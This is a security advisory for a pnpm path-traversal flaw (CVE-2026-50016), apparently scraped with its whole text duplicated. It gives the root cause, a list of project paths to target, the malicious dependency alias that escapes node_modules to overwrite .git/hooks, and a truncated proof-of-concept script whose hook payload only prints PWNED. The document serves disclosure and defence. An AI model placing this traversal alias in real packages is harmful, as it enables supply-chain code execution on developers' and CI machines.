CVE-2026-50016

pnpm is a package manager. Prior to 10.34.0 and 11.4.0, pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause pnpm install --ignore-scripts to replace paths in the current project with symlinks to attacker-controlled dependency package directories. This vulnerability is fixed in 10.34.0 and 11.4.0.

pnpm is a package manager. Prior to 10.34.0 and 11.4.0, pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause pnpm install --ignore-scripts to replace paths in the current project with symlinks to attacker-controlled dependency package directories. This vulnerability is fixed in 10.34.0 and 11.4.0.

Summary

pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause pnpm install - ignore-scripts to replace paths in the current project with symlinks to attacker-controlled dependency package directories.

.git/hooks is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:

• .husky or .githooks for Git hook dispatchers
• scripts/, tools/, bin/, or tests/ for project scripts and CI commands
• .github/actions/<name> for local GitHub Actions used later in the workflow
• dist/ or other publish/build output directories before pnpm pack or pnpm publish
• node_modules/.bin or undeclared node_modules/<name> paths used by later command or module resolution

Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.

This was reproduced with [email protected].

Impact

Users often run pnpm install --ignore-scripts expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.

Examples include git commit, pnpm test, pnpm run build, a CI step that uses a local GitHub Action, or pnpm publish packaging a replaced dist/ directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces .git/hooks, and the payload runs when the victim later executes git commit.

Root Cause

pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination node_modules directory and passed to the symlink creation logic without rejecting .. segments or checking that the normalized result stays inside the intended node_modules directory.

Conceptually, a transitive alias like this:

{
  "@x/../../../../../.git/hooks": "npm:[email protected]"
}

is eventually treated like:

path.join(parentPackageNodeModulesDir, "@x/../../../../../.git/hooks")

The normalized destination escapes the dependency's node_modules directory and lands at the victim project's .git/hooks path. pnpm then creates a symlink at that escaped destination to the resolved payload-hooks package directory.

The dependency chain is:

victim installs [email protected]
[email protected] -> [email protected]
[email protected] -> [email protected] through a traversal alias

The malicious transitive package metadata contains:

{
  "@x/../../../../../.git/hooks": "npm:[email protected]"
}

Because this uses an npm: registry alias, it does not rely on a transitive file: or link: dependency.

Proof Of Concept

Run:

./run.sh

#!/bin/sh
set -eu

SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
WORKDIR="$SCRIPT_DIR/demo-workdir"
REGISTRY_DIR="$WORKDIR/registry"
TARBALLS_DIR="$REGISTRY_DIR/tarballs"
VICTIM_DIR="$WORKDIR/victim"
READY_FILE="$WORKDIR/registry-ready"
PORT_FILE="$WORKDIR/registry-port"

rm -rf "$WORKDIR"
mkdir -p "$REGISTRY_DIR/payload-hooks" "$REGISTRY_DIR/bad" "$REGISTRY_DIR/normal" "$TARBALLS_DIR" "$VICTIM_DIR"

cat > "$REGISTRY_DIR/payload-hooks/package.json" <<'JSON'
{
  "name": "payload-hooks",
  "version": "1.0.0",
  "bin": {
    "pre-commit": "pre-commit"
  },
  "files": [
    "pre-commit"
  ]
}
JSON

cat > "$REGISTRY_DIR/payload-hooks/pre-commit" <<'EOF'
#!/bin/sh
echo PWNED >&2
exit 0
EOF
chmod…

pnpm is a package manager. Prior to 10.34.0 and 11.4.0, pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause pnpm install --ignore-scripts to replace paths in the current project with symlinks to attacker-controlled dependency package directories. This vulnerability is fixed in 10.34.0 and 11.4.0.

pnpm is a package manager. Prior to 10.34.0 and 11.4.0, pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause pnpm install --ignore-scripts to replace paths in the current project with symlinks to attacker-controlled dependency package directories. This vulnerability is fixed in 10.34.0 and 11.4.0.

Summary

pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause pnpm install - ignore-scripts to replace paths in the current project with symlinks to attacker-controlled dependency package directories.

.git/hooks is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:

• .husky or .githooks for Git hook dispatchers
• scripts/, tools/, bin/, or tests/ for project scripts and CI commands
• .github/actions/<name> for local GitHub Actions used later in the workflow
• dist/ or other publish/build output directories before pnpm pack or pnpm publish
• node_modules/.bin or undeclared node_modules/<name> paths used by later command or module resolution

Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.

This was reproduced with [email protected].

Impact

Users often run pnpm install --ignore-scripts expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.

Examples include git commit, pnpm test, pnpm run build, a CI step that uses a local GitHub Action, or pnpm publish packaging a replaced dist/ directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces .git/hooks, and the payload runs when the victim later executes git commit.

Root Cause

pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination node_modules directory and passed to the symlink creation logic without rejecting .. segments or checking that the normalized result stays inside the intended node_modules directory.

Conceptually, a transitive alias like this:

{
  "@x/../../../../../.git/hooks": "npm:[email protected]"
}

is eventually treated like:

path.join(parentPackageNodeModulesDir, "@x/../../../../../.git/hooks")

The normalized destination escapes the dependency's node_modules directory and lands at the victim project's .git/hooks path. pnpm then creates a symlink at that escaped destination to the resolved payload-hooks package directory.

The dependency chain is:

victim installs [email protected]
[email protected] -> [email protected]
[email protected] -> [email protected] through a traversal alias

The malicious transitive package metadata contains:

{
  "@x/../../../../../.git/hooks": "npm:[email protected]"
}

Because this uses an npm: registry alias, it does not rely on a transitive file: or link: dependency.

Proof Of Concept

Run:

./run.sh

#!/bin/sh
set -eu

SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
WORKDIR="$SCRIPT_DIR/demo-workdir"
REGISTRY_DIR="$WORKDIR/registry"
TARBALLS_DIR="$REGISTRY_DIR/tarballs"
VICTIM_DIR="$WORKDIR/victim"
READY_FILE="$WORKDIR/registry-ready"
PORT_FILE="$WORKDIR/registry-port"

rm -rf "$WORKDIR"
mkdir -p "$REGISTRY_DIR/payload-hooks" "$REGISTRY_DIR/bad" "$REGISTRY_DIR/normal" "$TARBALLS_DIR" "$VICTIM_DIR"

cat > "$REGISTRY_DIR/payload-hooks/package.json" <<'JSON'
{
  "name": "payload-hooks",
  "version": "1.0.0",
  "bin": {
    "pre-commit": "pre-commit"
  },
  "files": [
    "pre-commit"
  ]
}
JSON

cat > "$REGISTRY_DIR/payload-hooks/pre-commit" <<'EOF'
#!/bin/sh
echo PWNED >&2
exit 0
EOF
chmod…

Root has patched CVE-2026-50016 in the @rootio/pnpm package for Root:npm. Multiple fixed versions available.